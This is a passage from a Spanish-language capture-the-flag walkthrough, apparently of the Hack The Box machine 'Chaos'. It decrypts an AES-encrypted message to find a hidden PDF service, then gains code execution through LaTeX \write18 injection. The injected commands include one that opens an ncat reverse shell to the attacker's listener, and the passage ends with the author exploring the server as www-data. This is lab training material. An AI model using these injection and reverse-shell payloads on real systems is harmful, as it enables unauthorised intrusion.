</span></span><span style="display:flex;"><span>            hasher <span style="color:#f92672">=</span> SHA256<span style="color:#f92672">.</span>new(password<span style="color:#f92672">.</span>encode(<span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> hasher<span style="color:#f92672">.</span>digest()
</span></span></code></pre></div><p>Como podemos ver, este programa devuelve un en + filename que cifra en AES_128_CBC usando el hash SHA256 de una contraseña como llave.</p>
<p>Realizar el proceso inverso es relativamente simple, por lo que cree de.py:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto <span style="color:#f92672">import</span> Random
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Cipher <span style="color:#f92672">import</span> AES
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> Crypto.Hash <span style="color:#f92672">import</span> SHA256
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> os
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">decrypt</span>(key, filename):
</span></span><span style="display:flex;"><span>    chunksize <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span><span style="color:#f92672">*</span><span style="color:#ae81ff">1024</span>
</span></span><span style="display:flex;"><span>    outputFile <span style="color:#f92672">=</span> filename[<span style="color:#ae81ff">2</span>:]
</span></span><span style="display:flex;"><span>    filesize <span style="color:#f92672">=</span> str(os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>getsize(filename))<span style="color:#f92672">.</span>zfill(<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>    IV <span style="color:#f92672">=</span> Random<span style="color:#f92672">.</span>new()<span style="color:#f92672">.</span>read(<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    decryptor <span style="color:#f92672">=</span> AES<span style="color:#f92672">.</span>new(key, AES<span style="color:#f92672">.</span>MODE_CBC, IV)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(filename, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> infile:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(outputFile, <span style="color:#e6db74">&#39;wb&#39;</span>) <span style="color:#66d9ef">as</span> outfile:
</span></span><span style="display:flex;"><span>            outfile<span style="color:#f92672">.</span>write(filesize<span style="color:#f92672">.</span>encode(<span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span><span style="display:flex;"><span>            outfile<span style="color:#f92672">.</span>write(IV)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>                chunk <span style="color:#f92672">=</span> infile<span style="color:#f92672">.</span>read(chunksize)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> len(chunk) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">elif</span> len(chunk) <span style="color:#f92672">%</span> <span style="color:#ae81ff">16</span> <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>                    chunk <span style="color:#f92672">+=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39; &#39;</span> <span style="color:#f92672">*</span> (<span style="color:#ae81ff">16</span> <span style="color:#f92672">-</span> (len(chunk) <span style="color:#f92672">%</span> <span style="color:#ae81ff">16</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                outfile<span style="color:#f92672">.</span>write(decryptor<span style="color:#f92672">.</span>decrypt(chunk))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">getKey</span>(password):
</span></span><span style="display:flex;"><span>            hasher <span style="color:#f92672">=</span> SHA256<span style="color:#f92672">.</span>new(password<span style="color:#f92672">.</span>encode(<span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> hasher<span style="color:#f92672">.</span>digest()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>decrypt(getKey(<span style="color:#e6db74">&#34;sahay&#34;</span>), <span style="color:#e6db74">&#34;enim_msg.txt&#34;</span>)
</span></span></code></pre></div><p>Este programa me devuelve im_msg.txt usando el proceso inverso anteriormente descrito.</p>
<p>El contenido de im_msg.txt es el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ strings im_msg.txt
</span></span><span style="display:flex;"><span>0000000000000272
</span></span><span style="display:flex;"><span>tg42C
</span></span><span style="display:flex;"><span>sLPO
</span></span><span style="display:flex;"><span>SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK
</span></span></code></pre></div><p>Como podemos ver, el contenido no es muy entendible, pero ese ultimo string parece un BASE64, por lo que despues de cambiar el encoding:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ printf &#34;SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK&#34; | base64 -d
</span></span><span style="display:flex;"><span>Hii Sahay
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Please check our new service which create pdf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.s - As you told me to encrypt important msg, i did :)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Thanks,
</span></span><span style="display:flex;"><span>Ayush
</span></span></code></pre></div><p>Parece que hemos encontrado un nuevo sitio en el servicio HTTP TCP/80.</p>
<h1 id="you-will-find-nothing-here-includes-rce">You will find nothing here (includes RCE)</h1>
<p>Comenzamos por validar su existencia vía headers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ curl -I http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Date: Sat, 27 Apr 2019 04:54:00 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span></code></pre></div><p>Ahora, usando un browser:</p>
<p><img src="/img/htb-chaos/www-hiden-pdftex.png" alt="Chaos Inc PDF"></p>
<p>Como podemos ver parece que se trata de una herramienta para convertir una plantilla a PDF. Veamos por consola como se comporta por defecto cuando generamos un PDF:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http -f POST http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php &#39;content=hello&#39; template=test3
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 820
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sat, 27 Apr 2019 05:17:55 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>FILE CREATED: 1dc4b77d86170fff881960b55c83fa75.pdf
</span></span><span style="display:flex;"><span>Download: http://chaos.htb/pdf/1dc4b77d86170fff881960b55c83fa75.pdf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>LOG:
</span></span><span style="display:flex;"><span>This is pdfTeX, Version 3.14159265-2.6-1.40.19 (TeX Live 2019/dev/Debian) (preloaded format=pdflatex)
</span></span><span style="display:flex;"><span> \write18 enabled.
</span></span><span style="display:flex;"><span>entering extended mode
</span></span><span style="display:flex;"><span>(./1dc4b77d86170fff881960b55c83fa75.tex
</span></span><span style="display:flex;"><span>LaTeX2e &lt;2018-04-01&gt; patch level 5
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
</span></span><span style="display:flex;"><span>Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/size11.clo))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/microtype.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/microtype-pdftex.def)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/microtype.cfg))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics-cfg/graphics.cfg)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics-def/pdftex.def)))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/wrapfig/wrapfig.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/psnfss/mathpazo.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/fontenc.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/t1enc.def))
</span></span><span style="display:flex;"><span>No file 1dc4b77d86170fff881960b55c83fa75.aux.
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/psnfss/t1ppl.fd)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/mt-ppl.cfg)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/context/base/mkii/supp-pdf.mkii
</span></span><span style="display:flex;"><span>[Loading MPS to PDF converter (version 2006.09.02).]
</span></span><span style="display:flex;"><span>) (/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvdefinekeys.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty)))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvsetkeys.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/etexcmds.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifluatex.sty))))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/pdftexcmds.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg))
</span></span><span style="display:flex;"><span>[1{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}]
</span></span><span style="display:flex;"><span>(./1dc4b77d86170fff881960b55c83fa75.aux) ){/usr/share/texlive/texmf-dist/fonts/
</span></span><span style="display:flex;"><span>enc/dvips/base/8r.enc}&lt;/usr/share/texlive/texmf-dist/fonts/type1/urw/palatino/u
</span></span><span style="display:flex;"><span>plb8a.pfb&gt;&lt;/usr/share/texlive/texmf-dist/fonts/type1/urw/palatino/uplr8a.pfb&gt;&lt;/
</span></span><span style="display:flex;"><span>usr/share/texlive/texmf-dist/fonts/type1/urw/palatino/uplri8a.pfb&gt;
</span></span><span style="display:flex;"><span>Output written on 1dc4b77d86170fff881960b55c83fa75.pdf (1 page, 37550 bytes).
</span></span><span style="display:flex;"><span>Transcript written on 1dc4b77d86170fff881960b55c83fa75.log.
</span></span></code></pre></div><p>El LOG nos arroja la versión y el binario que se esta utilizando <code>pdfTeX, Version 3.14159265-2.6-1.40.19</code>. Busque rápidamente el google y encontré el siguiente <strong><a href="http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/">enlace</a></strong> que explica como podríamos aprovecharnos de la instrucción de latex <code>\\write18</code> para ejecutar comandos de manera remota (RCE), así que, apliquemos nuestra PoC:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http -f POST http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php &#39;content=\\immediate\\write18{echo; echo; ls -Ral /home}&#39; template=test3
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 925
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sat, 27 Apr 2019 05:17:16 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>FILE CREATED: 461fb8e49fbfdfe012a5e1794dcb45a9.pdf
</span></span><span style="display:flex;"><span>Download: http://chaos.htb/pdf/461fb8e49fbfdfe012a5e1794dcb45a9.pdf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>LOG:
</span></span><span style="display:flex;"><span>This is pdfTeX, Version 3.14159265-2.6-1.40.19 (TeX Live 2019/dev/Debian) (preloaded format=pdflatex)
</span></span><span style="display:flex;"><span> \write18 enabled.
</span></span><span style="display:flex;"><span>entering extended mode
</span></span><span style="display:flex;"><span>(./461fb8e49fbfdfe012a5e1794dcb45a9.tex
</span></span><span style="display:flex;"><span>LaTeX2e &lt;2018-04-01&gt; patch level 5
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
</span></span><span style="display:flex;"><span>Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/size11.clo))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/microtype.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/microtype-pdftex.def)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/microtype.cfg))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics-cfg/graphics.cfg)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/graphics-def/pdftex.def)))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/wrapfig/wrapfig.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/psnfss/mathpazo.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/fontenc.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/base/t1enc.def))
</span></span><span style="display:flex;"><span>No file 461fb8e49fbfdfe012a5e1794dcb45a9.aux.
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/psnfss/t1ppl.fd)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/microtype/mt-ppl.cfg)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/context/base/mkii/supp-pdf.mkii
</span></span><span style="display:flex;"><span>[Loading MPS to PDF converter (version 2006.09.02).]
</span></span><span style="display:flex;"><span>) (/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty)
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvdefinekeys.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty)))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvsetkeys.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/etexcmds.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifluatex.sty))))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/pdftexcmds.sty
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty))
</span></span><span style="display:flex;"><span>(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home:
</span></span><span style="display:flex;"><span>total 16
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root  root  4096 Oct 28 11:34 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 22 root  root  4096 Dec  9 17:19 ..
</span></span><span style="display:flex;"><span>drwx------  6 ayush ayush 4096 Apr 27 00:09 ayush
</span></span><span style="display:flex;"><span>drwx------  5 sahay sahay 4096 Nov 24 23:53 sahay
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[1{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}]
</span></span><span style="display:flex;"><span>(./461fb8e49fbfdfe012a5e1794dcb45a9.aux) ){/usr/share/texlive/texmf-dist/fonts/
</span></span><span style="display:flex;"><span>enc/dvips/base/8r.enc}&lt;/usr/share/texlive/texmf-dist/fonts/type1/urw/palatino/u
</span></span><span style="display:flex;"><span>plb8a.pfb&gt;&lt;/usr/share/texlive/texmf-dist/fonts/type1/urw/palatino/uplr8a.pfb&gt;&lt;/
</span></span><span style="display:flex;"><span>usr/share/texlive/texmf-dist/fonts/type1/urw/palatino/uplri8a.pfb&gt;
</span></span><span style="display:flex;"><span>Output written on 461fb8e49fbfdfe012a5e1794dcb45a9.pdf (1 page, 37304 bytes).
</span></span><span style="display:flex;"><span>Transcript written on 461fb8e49fbfdfe012a5e1794dcb45a9.log.
</span></span></code></pre></div><p>Perfecto, parece que ahora ya podemos hacer un RCE sobre el servidor, por lo que lo siguiente es invocar una reverse shell.</p>
<p>Preparamos un listener:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ ncat -lnp 3001
</span></span></code></pre></div><p>Ejecutamos un reverse shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http -f POST http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php &#39;content=\\immediate\\write18{ncat 10.10.14.12 3001 -e /bin/bash}&#39; template=test3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>http: error: Request timed out (30s).
</span></span></code></pre></div><p>En nuestro listener:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ ncat -lnp 3001
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></span><span style="display:flex;"><span>pwd
</span></span><span style="display:flex;"><span>/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile
</span></span><span style="display:flex;"><span>python -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$
</span></span></code></pre></div><h1 id="from-www-data-to-">From www-data to ???</h1>
<p>Bien ahora que ya tenemos conexión al servidor y que hemos hecho el upgrade de la tty, veamos que hay sobre home:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -la /home
</span></span><span style="display:flex;"><span>ls -la /home
</span></span><span style="display:flex;"><span>total 16
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root  root  4096 Oct 28  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 22 root  root  4096 Dec  9 17:19 ..
</span></span><span style="display:flex;"><span>drwx------  6 ayush ayush 4096 May 25 16:12 ayush
</span></span><span style="display:flex;"><span>drwx------  5 sahay sahay 4096 Nov 24 23:53 sahay
</span></span></code></pre></div><p>Los dos usuarios del correo. Solo que como somos www-data, no podemos leer nada del contenido de cada home por los permisos. Luego entonces, centremonos en lo que si tenemos permisos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www
</span></span><span style="display:flex;"><span>&lt;00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www
</span></span><span style="display:flex;"><span>total 20K
</span></span><span style="display:flex;"><span>drwxr-xr-x  5 root     root     4.0K Oct 28  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 14 root     root     4.0K Oct 28  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 root     root     4.0K Oct 28  2018 html
</span></span><span style="display:flex;"><span>drwxr-xr-x  8 root     root     4.0K Oct 28  2018 main
</span></span><span style="display:flex;"><span>drwxr-xr-x 13 www-data www-data 4.0K Oct 23  2018 roundcube
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/html
</span></span><span style="display:flex;"><span>&lt;ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/html
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4.0K Oct 28  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 root root 4.0K Oct 28  2018 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root   73 Oct 28  2018 index.html
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4.0K Oct 28  2018 wp
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/main/
</span></span><span style="display:flex;"><span>&lt;l_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/main/
</span></span><span style="display:flex;"><span>total 68K
</span></span><span style="display:flex;"><span>drwxr-xr-x 8 root root 4.0K Oct 28  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 root root 4.0K Oct 28  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 9 root root 4.0K Oct 28  2018 J00_w1ll_f1Nd_n07H1n9_H3r3
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root 5.5K Oct 24  2018 about.html
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root   46 Oct 24  2018 blog.html
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root 4.6K Oct 19  2018 contact.html
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4.0K Oct 19  2018 css
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root 6.7K Oct 24  2018 hof.html
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4.0K Apr  8  2018 icon-fonts
</span></span><span style="display:flex;"><span>drwxr-xr-x 8 root root 4.0K Oct 19  2018 img
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root 6.9K Oct 26  2018 index.html
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4.0K Apr  8  2018 js
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4.0K Apr  8  2018 source
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/roundcube
</span></span><span style="display:flex;"><span>&lt;Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/roundcube
</span></span><span style="display:flex;"><span>total 284K
</span></span><span style="display:flex;"><span>drwxr-xr-x 13 www-data www-data 4.0K Oct 23  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  5 root     root     4.0K Oct 28  2018 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 3.2K Oct 23  2018 .htaccess
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 152K Oct 23  2018 CHANGELOG
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data  11K Oct 23  2018 INSTALL
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data  35K Oct 23  2018 LICENSE
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 3.8K Oct 23  2018 README.md
</span></span><span style="display:flex;"><span>drwxr-xr-x  7 www-data www-data 4.0K Oct 23  2018 SQL
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 3.5K Oct 23  2018 UPGRADING
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 www-data www-data 4.0K Oct 28  2018 bin
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 1.1K Oct 23  2018 composer.json-dist
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 www-data www-data 4.0K Oct 28  2018 config
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data  13K Oct 23  2018 index.php
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 www-data www-data 4.0K Oct 28  2018 installer
</span></span><span style="display:flex;"><span>drwxrwxr-x  2 www-data www-data 4.0K Oct 28  2018 logs
